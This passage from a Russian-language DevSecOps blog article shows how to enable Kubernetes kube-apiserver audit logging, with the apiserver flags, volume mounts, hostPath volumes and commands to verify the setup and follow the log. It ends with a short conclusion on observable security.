- --audit-log-path=/var/log/kubernetes/audit.log - --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml - --audit-log-maxage=10 - --audit-log-maxbackup=5 - --audit-log-maxsize=100 

Также нужно сконфигурировать volumeMounts, проведя конфигурацию через mountPath:

- mountPath: /etc/kubernetes/audit/audit-policy.yaml       name: audit       readOnly: true - mountPath: /var/log/kubernetes/       name: audit-log       readOnly: false 

И volumes, прописав нужные параметры hostPath:

- hostPath:       path: /etc/kubernetes/audit/audit-policy.yaml       type: File     name: audit - hostPath:       path: /var/log/kubernetes/       type: DirectoryOrCreate     name: audit-log 

Если kube-apiserver по итогу не упал, то всё должно быть нормально 😉

Проверка работоспособности проведённых настроек:

sudo kubectl describe po kube-apiserver-node1 -n kube-system 

На скрине ниже видно, что в описании пода kube-apiserver-node1 применились нужные
настройки

Теперь можно смотреть логи:

sudo tail -f /var/log/kubernetes/audit.log 

Файлики с логами спавнятся в /var/log/kubernetes , растут до 100 мб и продолжают складироваться:

Вывод

В контексте компании Neoflex мы улучшаем процессы клиентов с помощью применения методологии DevSecOps к уже существующим процессам или строим свой DevSecOps с нуля, с применением лучших практик. В этом нам помогает понимание методов злоумышленников и использование надёжной защиты. Важно подчеркнуть значимость построения эффективной и наблюдаемой безопасности — это неразрывные понятия. Интеграция изложенных в статье знаний и практик в ежедневные процессы управления кластерами Kubernetes и другими контейнерными средами способствует созданию более надёжной IT-инфраструктуры. Это особенно важно в условиях постоянно эволюционирующих угроз (APT) и увеличивающейся сложности современных приложений и сервисов.


ссылка на оригинал статьи https://habr.com/ru/articles/837946/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *